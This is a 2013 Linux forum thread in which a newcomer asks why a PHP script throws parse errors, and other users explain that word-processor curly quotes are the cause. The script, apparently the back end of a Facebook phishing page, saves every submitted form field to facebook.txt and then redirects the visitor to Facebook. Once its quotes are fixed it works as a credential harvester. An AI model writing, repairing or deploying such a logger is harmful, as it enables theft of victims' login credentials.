LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Newbie (https://www.linuxquestions.org/questions/linux-newbie-8/)
-   -   Parse error question - urgent!! (https://www.linuxquestions.org/questions/linux-newbie-8/parse-error-question-urgent-4175463271/)

DButler12 05-24-2013 02:22 AM

Parse error question - urgent!!
 
Hey guys I keep seeing this Parse error saying that there is an unexpected colon in my script.

The error reads:

"Parse error: syntax error, unexpected ':' in /home/a3076461/public_html/login.php on line 2"


Here is my script, can you figure out where the mistake is?

<?php
header(‘Location: http://www.facebook.com/appcenter’);
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>




Thanks for your help!

DButler12

acid_kewpie 05-24-2013 02:37 AM

don't use words like "urgent". It's not urgent for us thanks.

Before "Location" you have a backtick, not a conventional single quote mark, likewise for the end. Looks like you wrote it in a word processor or something.

DButler12 05-24-2013 02:53 AM

Thanks and sorry I am new to here and did not mean to be so urgent about it. I made that change but it still seems to have errors. the next error message reads:

Parse error: syntax error, unexpected '=' in /home/a3076461/public_html/login.php on line 6



And the script is as follows:

<?php
header("Location: http://www.facebook.com/appcenter");
$handle = fopen(“facebook.txt”, “a”);
Foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>


Thanks again!

acid_kewpie 05-24-2013 03:01 AM

So have you LOOKED at line 6? Seems prety similar to me.

DButler12 05-24-2013 03:07 AM

should the quotations be changed to something else? I am new to this and do not know exactly what it is in line 6 that needs to change...

Sorry to bug you

acid_kewpie 05-24-2013 03:15 AM

yes, you need standard quotation marks, not start and end ones.

TobiSGD 05-24-2013 05:47 AM

Issues like this can be avoided with using a text editor or an IDE for developing code, not a wordprocessor.


All times are GMT -5. The time now is 11:23 AM.